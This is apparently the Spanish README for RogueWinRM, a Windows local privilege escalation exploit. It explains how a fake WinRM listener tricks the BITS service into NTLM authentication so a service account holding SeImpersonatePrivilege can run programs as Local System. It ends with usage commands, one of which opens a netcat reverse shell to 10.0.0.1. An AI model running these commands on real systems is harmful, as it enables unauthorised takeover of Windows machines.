
Escalada de privilegios local en Windows desde una cuenta de servicio hasta el sistema
RogueWinRM es un exploit de escalada de privilegios local que permite escalar desde una cuenta de Servicio (con SeImpersonatePrivilege) a la cuenta de Sistema Local si el servicio WinRM no está en ejecución (predeterminado en Win10 pero NO en Windows Server 2019).
Brevemente, escuchará conexiones entrantes en el puerto 5985 simulando un servicio WinRM real.
Es solo un servidor web mínimo que intentará negociar una autenticación NTLM con cualquier servicio que intente conectarse a ese puerto.
Luego, el servicio BITS (ejecutándose como Sistema Local) se activa e intentará autenticarse en nuestro listener rogue. Una vez autenticado en nuestro listener rogue, podemos suplantar al usuario Sistema Local generando un proceso arbitrario con esos privilegios.
Puede encontrar una descripción técnica completa de esta vulnerabilidad en este enlace --> https://decoder.cloud/2019/12/06/we-thought-they-were-potatoes-but-they-were-beans/
RogueWinRM
Argumentos obligatorios:
-p <programa>: programa a ejecutar
Argumentos opcionales:
-a <argumento>: argumento de línea de comandos para pasar al programa (por defecto NULL)
-l <puerto>: puerto de escucha (por defecto 5985 WinRM)
-d : Habilitar salida de depuración

Ejecutando un cmd interactivo:
RogueWinRM.exe -p C:\windows\system32\cmd.exe
Ejecutando una reverse shell con netcat:
RogueWinRM.exe -p C:\windows\temp\nc64.exe -a "10.0.0.1 3001 -e cmd"